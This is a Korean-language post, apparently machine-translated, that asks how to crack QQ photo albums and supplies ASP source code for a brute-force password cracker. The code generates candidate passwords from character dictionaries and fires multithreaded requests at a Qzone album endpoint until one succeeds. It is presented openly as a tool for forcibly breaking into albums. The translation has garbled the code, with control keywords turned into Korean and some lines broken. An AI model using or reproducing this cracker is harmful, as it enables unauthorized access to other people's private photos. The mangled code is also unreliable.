QQ 사진첩을 크랙하는 방법을 부탁드립니다.

<%

start_wei_shuo=1<

/p>

end_wei_shuo=12

'비밀번호 사전

'대문자는 일반적으로 누구도 사용하지 않습니다 ch="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@!~^#%$&"

ch=split("0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f,g,h,i,j, k,l ,m,n,o,p,q,r,s,t,u,v,w,x,y,z",",")

ch2=split("0 ,1, 2,3,4,5,6,7,8,9",",")

ch3=split("a,b,c,d,e,f,g, h,i ,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z",",")

'-- ---------------------------

if request("fun")="" then

%>

<%

response.end

end if

'--------------- ------ -

sub next_char_index()

aaa=0

for i=1 to session("pwd_now_len")

if session( cstr(i)&"wei_now_char_index")=(session(cstr(i)&"wei_max_index")-1) 그 다음

session(cstr(i)&"wei_now_char_index") =0

i=cint(session("pwd_now_len"))이면

i>=cint(session("pwd_max_len"))이면

session("ok_break") =1

session("pwd_now_len")=session("pwd_min_len")

iiu=1~90의 경우

session( cstr(iiu)&" wei_now_char_index")=0

다음

종료

if 종료

session("pwd_now_len") =session("pwd_now_len" )+1

session(cstr(session("pwd_now_len"))&"wei_now_char_index")=0

else 종료

aaa=1

end if

else

session(cstr(i)&"wei_now_char_index")=session(cstr (i)&"wei_now_char

_index")+1

exit for

end if

if aaa=0이면 종료

if aaa=1 then aaa =0

다음

하위 끝

'------------ ----------

함수 get_now_pwd()

s=""

ia=session("pwd_now_len")에서 1단계 -1

if session(cstr(ia)&"wei_type")="numandstr"이면

a=ch (session(cstr(ia)&"wei_now_char_index"))

s=s&a

end if

if session(cstr(ia)&"wei_type" )="num"이면

a=ch2(session(cstr(ia)&"wei_now_char_index"))

s=s&a

end if

if session(cstr(ia)&"wei_type")="str" ​​​​그럼

a=ch3(session(cstr(ia)&"wei_now_char_index"))

s=s&a

end if

next

get_now_pwd=s

종료 기능

함수 종료

'---------------------------- ----- ----

'main_code---start:

xml_thread_max=10

if session("haved")<>" " 그런 다음

w=1에서 xml_thread_max로

Execute("Set /cgi-bin/qzone/cgi_qzone_view_album?uin=" &session("qq")& "&albumid=" &session ("ceid") & "&password=" &request("md"&cstr(w))&" "" " &",False")

Execute("http" &cstr(w) & ". send")

Execute("Set Doc" &cstr(w) & "=Server.CreateObject(""Microsoft.XMLDOM"") ")

Execute("Doc " &cstr(w) & " .Async=False ")

Execute("Doc" &cstr(w) & ".ValidateOnParse=False")

Execute("Doc" &cstr (w) & ".Load (http" &cstr(w) & ".ResponseXML)")

Execute("set root" &cstr(w) & "=Doc" &cstr(w) & ".documentElement")

Execute("set nodelis" &cstr(w) & "=root" &cstr(w ) & ".selectnodes(""msg"")")

Execute("nodecount" &cstr(w) & "=nodelis" &cstr(w) & ".length")

다음

ww=1에서 xml_thread_max까지

if eval("nodecount" &cstr(ww) &"=0") then

response.write ""

response.end

end if

next

if session("ok_break")=1 then

response.write ""

response.end

end if

end if

session("haved")="1"

%>

<%

io=1 ~ 5의 경우

response.write "is 비밀번호를 입력하세요 : "&request("mima"&cstr(io))&" ------md5에 해당: "&request("md"&cstr(io))&"
"

next

response.write "


열려 있는 QQ는 "&session("qq")&"입니다.
열려 있는 QQ 앨범의 ID는 다음과 같습니다." &session("ceid")

response.write "
스레드 수:"

response.write xml_thread_max

response.write "
< br>참고: QQ 사진 앨범 비밀번호를 잊어버렸습니다(QQ 비밀번호를 다시 잊어버렸습니다). 이 QQ 사진 앨범 비밀번호 차단기(두 번째 버전)를 사용하세요.

"

response.write "
HACKER"

response.write "
다른 크래킹 방법을 반환하고 다시 선택하세요 "

%>

위 내용은 QQ 사진 앨범을 폭력적으로 크랙하는 ASP 프로그램 소스 코드입니다. 직접 조사하여 MD5를 크랙하세요.